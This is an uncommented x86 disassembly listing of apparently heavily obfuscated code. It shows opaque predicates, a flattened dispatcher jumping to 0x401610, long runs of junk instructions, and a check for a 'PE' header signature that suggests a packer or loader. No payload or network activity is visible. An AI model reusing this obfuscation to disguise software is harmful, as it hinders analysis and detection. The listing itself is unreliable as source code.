andn edx, eax, eax
not eax
and ecx, 0xc0ec35aa
and eax, 0x3f13ca55
or ecx, eax
xor ecx, 0xc0ec35aa
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x5635d53f
and edx, 0xcd1a8000
mov esi, eax
and esi, 0xa9ca2ac0
or eax, 0x483
or ecx, esi
and eax, 0x32e57483
mov esi, ecx
not esi
and ecx, 0xa9ca253f
or eax, edx
and esi, 0x5635dac0
or ecx, esi
mov esi, eax
xor esi, 0x32851000
xor eax, 0xcd1a8b7c
mov edx, ecx
not edx
and esi, 0xb68d1000
and ecx, 0xb68d1ec5
mov edi, edx
or edx, eax
and eax, 0x4972e13a
and edi, 0x4972e13a
or esi, eax
mov eax, dword [ebp - 0xa0]
or ecx, edi
not edx
xor esi, ecx
or edx, esi
not edx
mov ecx, dword [eax + edx]
add ecx, dword [ebp - 0x68]
mov dword [eax + edx], ecx
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4631cd0c
mov esi, eax
and esi, 0xb9ce32f3
and eax, 0x615264dc
or edx, esi
mov esi, edx
xor edx, 0xb98a2043
xor esi, 0x4004104
or edx, 0x427596b8
and esi, 0xad086146
mov edi, edx
and edi, 0x52b79ca9
or esi, edi
mov edi, ecx
xor edi, 0xbd8a6947
and edi, ecx
and ecx, 0x9ead9b23
mov ebx, edi
not ebx
and edi, 0xad486356
or eax, ecx
or edx, ebx
and ebx, 0x52b79ca9
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xbd8a6946
and esi, 0x427596b9
or edx, esi
mov esi, edx
not esi
and edx, 0x615264dc
mov edi, esi
and edi, 0x9ead9b23
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x20678a84
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x45d978], 0xa
mov ch, ah
setl cl
setge al
xor ch, al
and dl, cl
and al, ah
or cl, ah
or al, dl
mov dl, ch
xor dl, cl
or cl, ch
mov ch, al
xor cl, 1
xor ch, 1
or cl, dl
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov cl, dl
and dl, ch
xor cl, 1
or ch, cl
and cl, al
mov eax, 0x3d28e896
or cl, dl
mov edx, ecx
xor dl, ch
test cl, cl
cmovne eax, esi
test ch, 1
mov ecx, 0x3d28e896
cmovne eax, ecx
test dl, 1
cmove eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
add eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, 0x9297986f
jmp 0x401610
mov eax, dword [ebp - 0x1bc]
mov ecx, 0xc245045
cmp dword [eax], 0
mov eax, 0xa52f18ea
cmove eax, ecx
jmp 0x401610
not esi
add edx, 0x13
rcl edi, 0x35
mov eax, 0xf6
ror esi, 0xfa
not edx
rcl edx, 0xc6
rol edi, 0xd8
neg edx
not edx
rcr edi, 0x6c
sub ebx, 0x59
ror ebx, 0xb1
imul edx
inc eax
dec edi
ror edx, 0x68
dec edx
imul edx
bswap eax
neg ebx
dec edx
bswap edi
add esi, 0xf5
inc edi
neg edi
inc eax
sbb esi, 0x14
mov eax, 0xa3
rcr esi, 0x8a
inc edi
imul eax
rcl edi, 0xc8
ror esi, 0x56
and eax, 0xf
mov ebx, 0xcb
add edi, 0xe6
and edx, 0xae
ror ebx, 0xc4
dec eax
not esi
sbb eax, 0xee
add esi, 0x39
or ebx, 0x2c
or ebx, 0xf3
and edi, 0xb3
sbb ebx, 0x92
rol ebx, 0xc7
neg edx
bswap esi
dec ebx
bswap eax
not edx
neg esi
neg edi
not esi
not eax
inc eax
rol eax, 0x18
imul edx
dec eax
mov eax, 0xf6
bswap edx
mov eax, 0x6f
bswap esi
or ebx, 0x98
add ebx, 0xe2
not edx
inc esi
rol esi, 0xc
neg edx
inc esi
sbb edi, 0xbc
dec esi
imul edi
neg esi
rcr ebx, 0x84
mov edx, 0xc2
or esi, 0xa
inc ebx
sbb ebx, 0x5f
imul eax
ror edx, 0x70
imul edx
ror eax, 0x44
neg edi
dec esi
neg edi
inc eax
sbb edi, 0xe
sub edx, 0x38
inc ebx
imul esi
add edi, 0xf1
rcr ebx, 0x47
inc esi
neg edx
dec ebx
and edx, 0x49
inc esi
bswap eax
mov edx, 0xdb
not ebx
imul esi
sbb esi, 0x4a
imul ebx
and esi, 0xa5
add ebx, 0x71
rol ebx, 0xf3
dec eax
rol ebx, 0xcc
rol esi, 0xd3
inc esi
neg eax
ror edi, 0xc4
sbb edx, 0x97
dec edx
dec eax
neg edi
rol edx, 0x40
neg edx
rol esi, 0x7e
rcl ebx, 0xae
bswap esi
imul eax
not ebx
add esi, 0xc1
ror edi, 0x69
rcr eax, 0
not ebx
not ebx
bswap eax
neg eax
inc eax
add edx, 0xd3
imul eax
imul esi
bswap ebx
bswap esi
imul esi
add edx, 0x5c
inc edx
dec edx
ror eax, 0xec
ror ebx, 0x12
sbb edx, 0x73
add edx, 0x76
and eax, 0x3a
imul esi
not ebx
neg ebx
or esi, 9
or edx, 0x90
and edx, 0xa3
sub edx, 0xd3
bswap eax
imul eax
not ebx
imul edx
rcr edi, 0x2a
imul edx
dec ebx
imul esi
not edx
mov ebx, 0x4f
ror eax, 0xce
neg ebx
bswap edi
neg ebx
not esi
ror edx, 0x83
and eax, 0xe
dec edx
ror ebx, 0xd8
mov ebx, 0xec
neg edx
sub esi, 0x6e
ror eax, 0x56
inc ebx
rcr edx, 0x19
inc edi
add edi, 0x2c
not ebx
and edi, 0x6f
imul eax
dec edx
and ebx, 0x93
inc ebx
not edi
not edx
or ebx, 0xf4
dec ebx
inc edx
sbb edx, 0x2e
neg ebx
neg edi
inc esi
neg edx
ror esi, 0x90
sbb esi, 0x66
not edi
add edi, 0x67
add ebx, 0xb9
sbb edx, 0x52
and ebx, 0x60
and esi, 0xfa
rcr eax, 0xd4
sbb edx, 0xba
not ebx
not eax
imul ebx
add eax, 0x7a
bswap edi
imul esi
rol esi, 0xe7
bswap ebx
neg esi
not eax
mov edx, 0x19
bswap ebx
imul esi
and ebx, 0xe6
add ebx, 0x94
bswap ebx
or edx, 0xd3
inc eax
rcl edi, 0xca
sub edx, 0xec
neg ebx
not edx
ror edx, 0xaf
imul esi
and ebx, 0xfa
ror eax, 0x9d
bswap eax
rcr esi, 0xf6
sub esi, 0x37
bswap eax
inc edx
not edx
rol eax, 6
not esi
rcl eax, 0xcf
imul ebx
inc ebx
neg edx
rcr edi, 4
dec edi
not eax
neg edi
inc edx
sbb ebx, 0xd
add edx, 0xcd
bswap esi
sbb esi, 0x63
add eax, 0x34
inc edi
add ebx, 0x65
neg ebx
rol edx, 0xf7
ror eax, 0xc1
sbb edx, 0x53
add esi, 0x3e
sbb edi, 0xc
sbb ebx, 0xcf
sbb edx, 0xd3
and edi, 0x8d
rcl edx, 0xde
neg edi
not esi
bswap eax
rol esi, 0xd
neg eax
dec edi
not eax
rcr ebx, 0xbe
bswap eax
not edi
rcl eax, 0x5a
sub ebx, 0
neg edi
rcr eax, 0x70
imul ebx
not esi
and esi, 0xf4
neg esi
rol edx, 1
mov esi, 0x89
rcr esi, 0x95
inc eax
bswap edx
inc edi
imul ebx
rol edi, 0xd4
bswap ebx
dec edx
not ebx
mov edx, 0x3f
add ebx, 0x99
not edx
not ebx
rol ebx, 0x9e
imul edx
sbb eax, 0x53
inc eax
bswap ebx
dec eax
bswap edi
ror edx, 0xdb
rol edi, 0xd8
not ebx
dec edi
not esi
rol edi, 0x53
dec edi
dec eax
bswap ebx
mov edi, 0x2c
inc ebx
or esi, 0x15
rcr edi, 0xc1
imul esi
and eax, 0x5d
mov edx, 0x63
ror eax, 0x7c
rcr esi, 0x76
sbb ebx, 0x50
inc eax
neg esi
rcl edx, 0x70
rol esi, 0x93
dec eax
or eax, 0xdb
neg ebx
rcr edi, 0x33
neg edx
neg edx
sbb ebx, 0x6a
bswap esi
add edx, 0xb0
or edi, 0x73
inc edx
sbb ebx, 0x7c
neg edi
and edi, 0xe2
rcl ebx, 0x26
imul esi
not ebx
sub ebx, 0x45
imul edi
ror esi, 0x80
and eax, 0x97
rcl ebx, 0
neg edi
or eax, 0x56
sub edi, 0x1c
imul edx
or eax, 0xaa
neg eax
inc edi
sbb ebx, 0xc4
inc eax
not edi
neg edx
neg edi
inc esi
rcr edx, 0x48
bswap edi
dec ebx
dec ebx
and edx, 0x1b
ror eax, 0x5e
add edi, 0x1c
rcr esi, 0x87
imul edi
or ebx, 6
rol eax, 0xce
sbb ebx, 0xdc
or eax, 0xfe
not eax
imul edx
or eax, 0x2b
sbb edx, 0x92
bswap edx
inc esi
neg esi
mov ebx, 0x24
mov edi, 0xf4
neg edi
rcl ebx, 0xa3
not esi
dec ebx
rcr esi, 0x98
not ebx
sbb edi, 0xd5
imul edi
sbb esi, 0x34
and esi, 0xe1
sbb ebx, 0x8b
or edi, 0xac
mov dword [ebp - 0x38], eax
mov eax, dword [0x43703c]
cmp dword [eax + section..data], 0x4550
lea ecx, [eax + section..data]
mov eax, 0x2f3ec37d
mov dword [ebp - 0x24], ecx
mov ecx, 0x2c437283
cmove eax, ecx
jmp 0x401610
mov eax, 0x1837fb63
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x9ad3f49a
and ecx, 0x652c0b65
or edx, ecx
xor edx, 0x9ad3f49a
or eax, edx
mov esi, eax
not esi
mov edi, eax
and edi, 0x129f44f8
and eax, 0x4308418
mov ecx, esi
and ecx, 0xed60bb07
or esi, 0x200623c0
or edi, ecx
and esi, 0xa8067be6
mov edx, edi
xor edx, 0xed60bb07
mov ecx, edi
xor edi, 0x12890000
or eax, esi
xor ecx, 0x28d0400
mov ebx, edx
or ebx, 0x88005826
and edi, 0x53c90001
and edx, 0xf432d8fe
and ecx, 0xbcd2700
and ebx, 0xa8067be6
or ecx, edx
or edi, ebx
xor eax, edi
mov esi, eax
not esi
and eax, 0xfece6b58
and esi, 0x13194a7
or eax, esi
mov esi, eax
xor esi, 0x8c014898
xor eax, 0x72feb767
mov edx, eax
and edx, 0x63f0b747
and esi, 0x9c0f48b8
or esi, edx
mov edx, ecx
xor edx, 0x80d0000
xor ecx, 0xf432d8ff
or eax, ecx
and ecx, 0x63f0b747
and edx, 0x9c0f48b8
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x73649ba7
and eax, 0x8c9b6458
or ecx, eax
xor ecx, 0x73649ba7
or edx, ecx
mov eax, edx
not eax
and edx, 0x7f6d81b0
and eax, 0x80927e4f
or eax, edx
mov ecx, eax
xor ecx, 0x4f2500a0
xor eax, 0x80007409
and eax, 0xb048f519
and ecx, 0x4fb70ae6
or ecx, eax
xor ecx, 0x4fb70ae6
setne al
sete ch
cmp dword [0x45d978], 0xa
mov edx, eax
setl cl
setge ah
and dl, ah
and cl, ch
xor al, ah
or cl, dl
and al, ch
xor cl, 1
xor al, 1
or cl, ah
or ah, ch
mov ch, al
mov edx, ecx
or al, ah
xor ch, ah
xor dl, 1
xor al, 1
mov ah, dl
or al, ch
and ah, cl
mov ch, al
xor ah, 1
xor ch, 1
or ah, cl
xor ah, 1
or ah, dl
mov dh, ah
and ah, ch
xor ch, cl
xor dh, 1
and dh, al
or al, dl
xor al, 1
or ah, dh
mov edx, 0xd4f553aa
or al, ch
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x1406c916
cmovne ecx, edx
test al, 1
mov edx, 0x1406c916
cmovne edx, ecx
test ah, 1
cmove edx, ecx
mov eax, edx
jmp 0x401610
cmp byte [ebp - 0x8a], 0
mov eax, 0xc23289a2
mov ecx, 0xdee4c38c
cmovne eax, ecx
jmp 0x401610
mov eax, 0xfef733cd
jmp 0x401610
mov eax, 0x6971597f
jmp 0x401610
mov eax, 0xdebbe862
jmp 0x401610
mov dword [ebp - 0xf8], 0
mov eax, 0x9541c273
jmp 0x401610
mov eax, dword [ebp - 0x24]
add eax, 0x18
mov dword [ebp - 0x158], eax
mov eax, 0x688c7bb
jmp 0x401610
mov eax, 0x4839092
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x672abc2c
and ecx, 0x98d543d3
or eax, ecx
mov ecx, eax
xor ecx, 0x640a0c04
xor eax, 0x10944251
and eax, 0x13b4f279
and ecx, 0xec4b0d86
or ecx, eax
mov edx, ecx
xor edx, 0x11948260
mov eax, ecx
mov esi, ecx
xor eax, 0xec4b0d86
xor esi, 0xddd782e0
xor ecx, 0x13049240
and esi, eax
and edx, 0x319c8f66
and ecx, 0xfb0f9fc4
and eax, 0x4f0603a
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xce637098
xor eax, 0x4f0603a
and esi, 0x319c8f67
or edx, esi
mov esi, 0xc806746c
or eax, edx
mov edx, eax
xor edx, 0x8884fd8a
mov ecx, eax
and ecx, 0x8884088a
and edx, eax
not eax
and eax, 0xf500
or ecx, eax
xor ecx, 0x8884088a
or ecx, edx
not edx
and edx, 0x777b0275
and ecx, 0x8884fd8a
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc71ba722
mov edx, eax
and edx, 0x38e458dd
or ecx, edx
xor ecx, 0x38e458dd
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x45d978], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and cl, ah
and ah, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xed4811a9
or ah, al
mov al, ah
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, dl
mov edx, 0xed4811a9
cmovne ecx, edx
test al, al
cmove ecx, esi
mov eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8a0601
mov esi, eax
and esi, 0x52500ba
and eax, 0x3ade472b
or edx, esi
mov esi, ecx
xor esi, 0x5af06bb
and esi, ecx
xor edx, 0x8a0601
and ecx, 0xc521b8d4
or edx, esi
not esi
or eax, ecx
and esi, 0xba50f944
and edx, 0x45af06bb
or edx, esi
mov esi, edx
not esi
and edx, 0x3ade472b
mov edi, esi
and edi, 0xc521b8d4
or edx, edi
xor eax, edx
not eax
or eax, esi
cmp eax, 0xffffffff
mov eax, 0xb30b7fde
setne byte [ebp - 0x89]
jmp 0x401610
mov eax, 0xaeab297b
jmp 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0xd916dd81
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x679bfeb2
and eax, 0x412cc007
mov edx, ecx
and edx, 0x9864014d
or ecx, 0x2833910
or esi, edx
and ecx, 0xae833df0
mov edx, esi
xor esi, 0x100
xor edx, 0x100200
or eax, ecx
or esi, 0xac0004e0
and edx, 0x10500208
and esi, 0xae833df0
or edx, esi
mov esi, 0xc1a7ca44
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x23c156f0
and ecx, 0xdc3ea90f
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x4a209015
xor ecx, 0x31126de8
xor edx, 0x31126de9
and edx, ecx
and eax, 0x6b229915
and ecx, 0x94dd66ea
or ecx, eax
xor ecx, 0x94dd66eb
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xeba0e47
and eax, 0xf145f1b8
or eax, edx
xor eax, 0xeba0e47
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x45d978], 0xa
setl ah
setge al
and ah, cl
mov ecx, edx
and cl, al
or ah, cl
mov ch, ah
xor ch, al
xor al, dl
and ch, ah
mov edx, eax
mov cl, ch
xor dl, 1
xor cl, 1
and al, cl
or cl, dl
and dl, ch
or dl, al
mov eax, 0xc1a7ca44
mov ch, dl
xor ch, cl
test dl, dl
cmovne eax, edi
test cl, cl
cmovne eax, esi
test ch, 1
cmove eax, edi
jmp 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x6b5e6523
jmp 0x401610
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
add eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0x6769d967
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x33c23246
and eax, 0x84400116
mov edx, ecx
and edx, 0xcc3dcdb9
or esi, edx
mov edx, esi
xor esi, 0x100c08
xor edx, 0x10800200
or esi, 0x4b2d8001
and edx, 0x108042a0
and esi, 0x6b3fbc49
or edx, esi
mov esi, ecx
or esi, 0x20123c48
and esi, 0x6b3fbc49
or eax, esi
mov esi, 0xc52ae381
xor eax, edx
mov edx, eax
not edx
and eax, 0x679e5164
and edx, 0x9861ae9b
or eax, edx
xor eax, 0xa8f3d072
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x45d978], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
and cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
and cl, ah
or ah, dl
mov edx, 0x84a8e094
or cl, al
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x84a8e094
jmp 0x40cfd2
mov eax, 0x54cde3de
jmp 0x401610
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, 0x50e8b702
jmp 0x401610
mov eax, 0x51d757fe
jmp 0x401610
mov eax, 0x874cb190
jmp 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0x84d5e3b2
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x60cc093c
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1d21d6c1
and ecx, eax
and esi, 0x71ed0b7c
and edx, 0xc00d481
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8e12f483
or eax, esi
and esi, 0x71ed0b7c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe2de293e
and eax, 0x1d21d6c1
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x41fc1a22
and eax, 0x1e00a086
mov ecx, esi
and esi, 0xbe03e5dd
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xe1ff5f79
or eax, esi
mov esi, edx
xor esi, 2
xor edx, 0xbe03e5dc
or ecx, edx
and edx, 0xe1ff5f79
and esi, 0x1e00a086
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x2de0e7f1
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8d824020
and ecx, 0x6269bc0e
and eax, 0x101403d1
or edx, eax
xor edx, 0x8d824020
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x72dbdb8a
and eax, 0x8d242475
or ecx, eax
mov eax, ecx
xor eax, 0xa00c0809
xor ecx, 0x10b22084
and ecx, 0x5ff3b0f6
and eax, 0xa00c4f09
or eax, ecx
mov ecx, eax
xor ecx, 0x80080009
xor eax, 0x15e110f2
and eax, 0x35e55ff2
and ecx, 0xca1aa00d
or ecx, eax
xor ecx, 0xca1aa00d
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
setge ah
and dl, al
and cl, ah
xor al, ah
or dl, cl
mov ecx, edx
xor cl, ah
mov ah, al
and cl, dl
not ah
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x84d5e3b2
cmovne eax, esi
test dl, dl
cmove eax, edi
test cl, cl
cmovne eax, esi
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xfc48e22d
mov esi, ecx
and esi, 0x3b71dd2
or edx, esi
mov esi, eax
not esi
and eax, 0xfc48e22d
or ecx, esi
and esi, 0x3b71dd2
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
mov edx, ecx
xor edx, 0x298e8482
mov eax, ecx
not esi
or eax, 0xd6717b7d
and edx, ecx
mov ecx, eax
and ecx, 0xca25b2bf
and esi, 0x218a0400
or esi, ecx
mov ecx, edx
not ecx
and edx, 0x35da4d40
or eax, ecx
and ecx, 0xca25b2bf
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcd7bd4e5
and ecx, 0x32842b1a
or eax, ecx
mov ecx, eax
xor ecx, 0x80b44022
xor eax, 0x1b020a10
and eax, 0x7f431a55
and ecx, 0x80bce5aa
or ecx, eax
mov eax, ecx
xor eax, 0x808860a0
xor ecx, 0x46411855
and ecx, 0x46759d5f
and eax, 0xb98a62a0
or eax, ecx
mov ecx, eax
xor ecx, 0x46358151
xor eax, 0x98a6020
and eax, 0x9ca7c2e
and ecx, 0xf63583d1
or ecx, eax
xor ecx, 0xf63583d1
sete ch
setne ah
cmp dword [0x45d978], 0xa
setge cl
mov edx, ecx
and ch, cl
inc dl
mov al, dl
and al, cl
xor al, 1
or al, dl
and dl, ah
xor al, 1
or dl, ch
mov ch, cl
or al, cl
or cl, ah
xor ch, ah
xor al, ah
xor cl, 1
mov ah, al
or cl, ch
mov ch, al
xor ah, 1
xor cl, 1
and ah, al
or cl, dl
xor ah, 1
mov edx, ecx
xor ch, ah
or ah, al
xor dl, 1
xor ah, 1
or ah, ch
mov ch, cl
and ch, dl
xor ch, 1
or ch, dl
xor ch, 1
or ch, cl
mov cl, al
xor cl, dl
or dl, al
xor ch, ah
mov eax, 0xccad4e20
xor dl, 1
or dl, cl
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x95a195bd
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0xccad4e20
cmove eax, edx
jmp 0x401610
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x14c]
mov esi, 0x353a31b4
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
and ecx, 0xf40bee
and edx, 0xff0bf411
or ecx, edx
mov edx, eax
not edx
or eax, 1
and edx, 0xf4b95cc0
and eax, 0xb46a33f
or eax, edx
xor eax, 0xb46a33f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf345ceb6
and ecx, 0xcba3149
or eax, ecx
mov ecx, eax
xor ecx, 0xa2048c94
xor eax, 0xcb02100
and ecx, 0xa20e9cdd
and eax, 0x5df16322
or eax, ecx
xor eax, 0x5df16322
setne ah
sete ch
cmp dword [0x45d978], 0xa
setge cl
setl al
mov edx, ecx
or al, ah
xor dl, ch
or ch, cl
and dl, cl
xor cl, ah
mov dh, ch
mov ah, dl
xor dl, cl
xor cl, 1
xor dh, al
or al, ch
xor ah, 1
xor al, 1
or cl, ah
or al, dh
xor cl, 1
xor al, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, 1
mov ecx, edx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x605a1003
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x605a1003
jmp 0x401603
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x44]
mov eax, 0x1780e7dc
jmp 0x401610
mov eax, dword [ebp - 0x24]
add eax, 0x18
mov dword [ebp - 0x164], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xd3f65bcc
and edx, eax
not eax
and eax, 0xd3f65bcc
or edx, eax
mov eax, edx
not eax
and edx, 0x3c4d4151
and eax, 0xc3b2beae
or edx, eax
mov ecx, edx
xor ecx, 0xefbb1a9d
xor edx, 0x1044e562
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0xfccbb2c0
or esi, edx
mov edx, eax
and edx, 0x3344d3f
or ecx, edx
mov edx, esi
not edx
and esi, 0xfccbb2c0
or eax, edx
and edx, 0x3344d3f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x1240a0ed
mov edx, eax
not edx
and ecx, eax
or eax, 0xedbf5f12
and edx, 0x2400064
mov esi, eax
and esi, 0xf120bc8b
or edx, esi
mov esi, ecx
not esi
and ecx, 0xedf4374
or eax, esi
and esi, 0xf120bc8b
or ecx, esi
not eax
mov esi, 0xb4360441
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x45c1d56a
and ecx, 0xba3e2a95
or eax, ecx
cmp eax, 0x57817587
sete dl
cmp dword [0x45d978], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
mov ah, al
or cl, al
xor ah, 1
mov edx, ecx
mov ch, ah
xor ah, cl
xor cl, 1
and dl, al
and ch, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0xff3ba340
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, dl
not ch
mov edx, 0xff3ba340
cmove eax, esi
test ch, 1
cmovne eax, edx
jmp 0x401610
cmp dword [ebp - 0x78], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
sets byte [ebp - 0x88]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x6377a2d6
and esi, 0x9c885d29
or esi, ecx
mov edx, esi
mov eax, esi
xor esi, 0x9ac21de9
xor eax, 0x9c885d29
xor edx, 0x6377a2d6
mov edi, esi
and edi, eax
and esi, edx
and edx, 0x982e1ad6
mov ecx, edi
not ecx
and edi, 0x43cf0846
mov ebx, ecx
and ebx, 0xbc30f7b9
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x43cf0846
or ecx, ebx
and ebx, 0xbc30f7b9
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xf9b5bf3e
and esi, 0x64a40c1
or ecx, esi
mov esi, eax
and esi, 0x67d1e529
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x8021887
xor esi, 0x27806108
or eax, edx
and esi, 0xb7ac6358
and eax, 0x48539ca7
or eax, esi
mov esi, 0x43879670
xor eax, 0x48539ca7
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl cl
setge al
or ah, cl
or al, dl
mov ch, ah
xor ch, al
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor ah, 1
or al, ch
mov dl, ah
xor al, 1
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd4f553aa
cmovne eax, esi
test dl, 1
mov edx, 0xd4f553aa
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
mov ecx, dword [ebp - 0xf0]
add eax, dword [ebp - 0xf0]
push dword [ebp - 0xb8]
push dword [ebp - 0x134]
push dword [ebp - 0x138]
push eax
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
mov eax, 0xd0cebaa2
jmp 0x401610
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x187091d
and eax, 0xfe78f6e2
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x274503b1
and eax, 0xd8bafc4e
or ecx, eax
mov eax, ecx
xor ecx, 0x400a08
xor eax, 0xd93df553
mov edx, eax
and ecx, 0x48753a0b
and eax, 0xb78ac5f4
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xb78ac5f5
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x53e254cc
and edx, 0xac1dab33
or edx, esi
mov esi, ecx
not esi
and ecx, 0xac1dab33
or eax, esi
